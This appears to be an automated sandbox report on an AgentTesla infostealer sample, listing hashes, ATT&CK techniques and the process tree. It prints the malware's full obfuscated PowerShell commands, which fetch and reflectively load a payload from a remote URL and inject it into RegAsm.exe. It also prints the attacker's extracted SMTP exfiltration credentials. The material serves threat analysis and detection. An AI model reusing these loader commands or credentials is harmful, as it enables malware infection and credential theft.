agenttesla | 05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7

General

Target

05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs
Size

500KB
MD5

5b4a21e35cce386f8692a4a5d684cb14
SHA1

38cefdde89a5577f3d89396afd6fc15c8f89200e
SHA256

05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7
SHA512

94543f5006c02fe0df66d9c6517831bc7afa22336372d2f87de1f0d21028b5d228850fe4d03e9c8721d4fb4e44d34c711a21a7abf35e1268f1293daab07b30b2
SSDEEP

12288:Ppg9Y9TU6WMHM8GjqgjuLlXxp7kuqXZqDpw20ADLlpfMom6av1o0pLtxoo/Obx5X:GUsZkfqezIZy30W7

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Credentials

Protocol: smtp
Host:
mail.detarcoopmedical.com
Port:
587
Username:
[email protected]
Password:
To$zL%?nhDHN

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.detarcoopmedical.com
Port:
587
Username:
[email protected]
Password:
To$zL%?nhDHN
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2692	powershell.exe
19	2692	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4012	powershell.exe
2692	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2692 set thread context of 1660	2692	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4012	powershell.exe
4012	powershell.exe
2692	powershell.exe
2692	powershell.exe
1660	RegAsm.exe
1660	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	1660	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 716 wrote to memory of 4012	716	WScript.exe	82
PID 716 wrote to memory of 4012	716	WScript.exe	82
PID 4012 wrote to memory of 2692	4012	powershell.exe	84
PID 4012 wrote to memory of 2692	4012	powershell.exe	84
PID 2692 wrote to memory of 1660	2692	powershell.exe	85
PID 2692 wrote to memory of 1660	2692	powershell.exe	85
PID 2692 wrote to memory of 1660	2692	powershell.exe	85
PID 2692 wrote to memory of 1660	2692	powershell.exe	85
PID 2692 wrote to memory of 1660	2692	powershell.exe	85
PID 2692 wrote to memory of 1660	2692	powershell.exe	85
PID 2692 wrote to memory of 1660	2692	powershell.exe	85
PID 2692 wrote to memory of 1660	2692	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2692
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bjyoenor.sew.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1660-32-0x0000000006AC0000-0x0000000006B52000-memory.dmp

Filesize
584KB

Download
memory/1660-23-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1660-30-0x0000000005D20000-0x00000000062C4000-memory.dmp

Filesize
5.6MB

Download
memory/1660-31-0x00000000058E0000-0x0000000005946000-memory.dmp

Filesize
408KB

Download
memory/1660-33-0x0000000006BB0000-0x0000000006C00000-memory.dmp

Filesize
320KB

Download
memory/1660-34-0x0000000006CA0000-0x0000000006D3C000-memory.dmp

Filesize
624KB

Download
memory/1660-35-0x0000000006C80000-0x0000000006C8A000-memory.dmp

Filesize
40KB

Download
memory/2692-22-0x000001F85F840000-0x000001F85FA4C000-memory.dmp

Filesize
2.0MB

Download
memory/4012-12-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/4012-11-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/4012-10-0x0000027B85DF0000-0x0000027B85E12000-memory.dmp

Filesize
136KB

Download
memory/4012-29-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/4012-0-0x00007FFDC93D3000-0x00007FFDC93D5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads